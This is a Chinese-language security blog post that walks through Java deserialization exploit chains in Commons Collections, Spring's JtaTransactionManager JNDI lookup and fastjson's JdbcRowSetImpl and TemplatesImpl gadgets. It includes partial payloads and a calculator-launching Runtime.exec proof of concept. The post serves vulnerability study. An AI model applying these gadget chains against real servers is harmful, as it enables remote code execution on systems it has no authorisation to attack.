首发于安全客https://www.anquanke.com/post/id/173459
最近学习了一下java的反序列化漏洞,对一些之前爆出来的一些开源组件的反序列化漏洞的进行了简单的分析,并总结到这篇文章中。
项目的依赖项配置
为了复现时安装各个版本的库方便我使用了maven来构建项目。我是用的maven依赖项的配置为:
1 | <dependencies> |
Apache common collections
Apache common collections的反序列化利用链在15年左右爆出,由于许多框架都用到了这个库,因此也是造成了很大的影响。
Pop链
apache common collection的整个反序列化过程主要依托于transformer类以及TransformedMap类。Transformer类用于描述变换过程,而TransformedMap则将这个变换过程应用于一个Map上,当Map中的元素发生改变时则按照设置好的Transformer进行一系列的处理操作。
1 | Map transformedMap=TransformedMap.decorate(map,keyTrasnfomer,valueTransformer); |
这里便是通过一个decorate函数将一个map转换为TransformedMap,并且对map的key和value绑定相应的这里便通过一个decorate函数将一个map转换为TranformedMap,并对map的key和value绑定相应的Transformer,当key
和value
改变时便触发对应的Transformer
的transform
方法进行处理动作。
如果想要实现一连串的变换操作则可以通过ChainedTransformer来实现,比如这里我们用于实现RCE的Tranformer链:
1 | Transformer[] transformers = new Transformer[] { |
实际执行的代码便是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
,也就是Map下的弹计算器的指令。
之后我们可以构造一个使用这个chain的TransformedMap,并且触发对这个transformedMap的处理即可
1 | Map map=new HashMap(); |
执行后即可发现能够成功弹出计算器
RCE构造
我们已经构造出了执行命令的popChain,那样怎样才能找到一个符合条件的RCE?我们需要找到一个满足下列条件的类:
- 重写了
readObject
方法 - 在readObject方法中存在对一个可控的map进行修改的过程
之前的很多文章都是使用的AnnotationInvocationHandler
类,然而最开始调试时我使用的jdk版本(1.8)中该类的readObject
方法中并没有找到对map的更改操作。后来参考反序列化自动化工具ysoserial
中的CommonsCollections5
这个payload实现了其中的一个调用链:利用BadAttributeValueExpException
类。我们可以看一下这个类的readObject方法:
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
可以看到这里我们对反序列化传入的对象的成员属性val判断其类型,如果这个变量不是String便会调用val的toString方法。这里如果我们通过反序列化传入的val是一个lazyMap类的entry,在调用其toString方法时便会调用LazyMap.get()从而触发绑定的Transformer的transform
方法。但是这里我们的LazyMap
类在获取一个不存在的键的时候才会触发transform
,因此我们这里可以引入另外一个类TiedMapEntry
,这个类在执行toString时可以调用其绑定的map取获取预定的键。
因此这个poc链的执行过程为:
1 | BadAtrributeValueException对象exception -> |
具体实现:
1 | Transformer chainedTransformer=new ChainedTransformer(transformers); |
其实我们看这个反序列化的利用链可以联想到之前wordpress的phar 反序列化RCE的漏洞也用到了一个类似的对数组进行操作的Iterator类,所以利用一个Map的附加操作也可以作为我们挖掘此类漏洞的思路。
Spring JNDI反序列化漏洞
众所周知Spring框架是一款用途广泛影响深远的java框架,因此Spring框架一旦出现漏洞也是影响深远。这次分析的Spring jdni反序列化漏洞主要存在于spring-tx包中,该包中的org.springframeworkl.transation.jta.JtaTransationManager
类存在JDNI反序列化的问题,可以加载我们注册的RMI链接,然后将对象发送到有漏洞的服务器从而执行远程命令。首先应当注意本文中成功执行的Poc本人仅在jdk1.7中测试成功,而jdk1.8中未测试成功。
这里的测试环境使用的是github上的项目https://github.com/zerothoughts/spring-jndi
什么是JNDI?
在这里的JNDI的利用方法在下面分析fastjson的反序列化漏洞时也会用到。JNDI
(Java Naming and Directory Interface)是J2EE中的重要规范之一,是一组在Java应用中访问命名和目录服务的API,使得我们能够通过名称去查询数据源从而访问需要的对象。在这里我们给出在java下的一段提供JNDI服务的代码:
1 | System.out.println("Starting HTTP server"); |
这里我们创建了一个HTTP服务后又创建了一个RMI服务,并且RMI服务提供了对ExportObject
类的查询,这里ExportObject类的源码为:
1 | public class ExportObject { |
其功能便是执行我们验证rce时常用的调用计算器的功能。
要加载ExportObject类我们可以使用以下的代码:
1 | Context ctx=new InitialContext(); |
执行以下代码后可以发现ExportObject类的构造函数被调用,弹出了计算器。
Spring框架中的JNDI反序列化漏洞
导致JNDI反序列化问题的类主要是org.springframework.transaction.jta.JtaTransactionManager
类。跟进该类的源码中的readObject()
函数:
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
继续跟进initUserTransactionAndTransactionManager()
函数
1 | protected void initUserTransactionAndTransactionManager() throws TransactionSystemException { |
继续进一步跟进lookupUserTransaction()
函数
1 | protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException { |
可以看到最终return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class)
,跟进JndiTemplate
类的lookup
方法,
1 | public Object lookup(final String name) throws NamingException { |
而execute()
方法的定义如下
1 | public <T> T execute(JndiCallback<T> contextCallback) throws NamingException { |
可以看到在整个流程的最后将会查询最开始我们由反序列化传入的org.springframework.transaction.jta.JtaTransactionManager
类的对象的userTransactionName
属性,最终导致加载了我们恶意的rmi源中的恶意类,从而导致RCE。
Poc
这个漏洞的Poc构造比起之前分析的apache common collections反序列化的Poc构造显然要简单许多:
1 | System.out.println("Connecting to server "+serverAddress+":"+port); |
可以看到已经弹出了计算器
fastjson反序列化漏洞
与上面的利用链不同,之前我们介绍到的利用链都是由readObject()
方法触发,而在fastjson的反序列化中我们触发漏洞则是利用了目标类的setXXX()
方法和getXXX()
方法,因为这两个方法是fastjson在完成反序列化时需要调用的方法。
关于fastjson的反序列化我测试了两种不同的利用链,分别为JdbcRowSetImpl
与TemplatesImpl
.前者正如同之前测试的spring jndi反序列化漏洞,使用了JNDI这一java特性来实现RCE;而后者则使用了另一套不同的机制。这里给出两种利用链的分析。
JdbcRowSetImpl
利用JdbcRowSetImpl时使用的payload主要如下:
1 | { |
在触发反序列化时会调用JdbcRowSetImpl
类的 setAutoCommit
函数
1 | public void setAutoCommit(boolean var1) throws SQLException { |
继续跟进connect
函数
1 | protected Connection connect() throws SQLException { |
可以看到当conn为null时会发起JNDI查询从而加载我们的恶意类,这条利用链也是很简单的一条利用链,其缺陷也很明显,在jdk版本1.8时无法直接使用。
TemplatesImpl
payload如下:
1 | { "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", |
由于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类的outputProperties
属性类型为Properties
因此在反序列化过程中会调用该类的getOutputProperties
方法。
1 | public synchronized Properties getOutputProperties() { |
继续跟进newTransformer
方法
1 | public synchronized Transformer newTransformer() |
在newTransformer
方法中需要实例化一个TransformerImpl类的对象,跟进getTransletInstance()
方法
1 | private Translet getTransletInstance() |
跟进defineTransletClasses
方法中
1 | private void defineTransletClasses() |
可以看到该方法将会遍历我们传入的_bytecodes
数组,执行loader.defineClass
方法,而TransletClassLoader
类的defineClass方法如下:
1 | Class defineClass(final byte[] b) { |
可见直接实现于ClassLoader
类的defineClass
方法。查询jdk1.8的文档
可以看到该方法会将我们传入的编码后的class文件加载入jvm。
而我们的恶意类继承于ABSTRACT_TRANSLET
,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,因此便会设置_transletIndex
为0。再回到我们的getTransletInstance
方法中,
1 | AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); |
生成了一个我们的恶意类的对象实例,因此导致了我们的恶意类中的代码最后被执行。
这里我们使用的恶意类如下:
1 | package JavaUnser; |
当fastjson反序列化执行我们的payload时便可以触发构造方法中的操作从而导致RCE。
后记
这里分析的几条反序列化的利用链属于分析难度不算特别大的反序列化利用链,便于我们入门java反序列化漏洞。相关的测试代码已经放到了github上,大家可以clone该项目下断点测试.另外最近在jdk1.8下对于JNDI限制的绕过后来阅读了一些大佬的博客(https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html),存在绕过限制的方法,大家也可以去测试一下。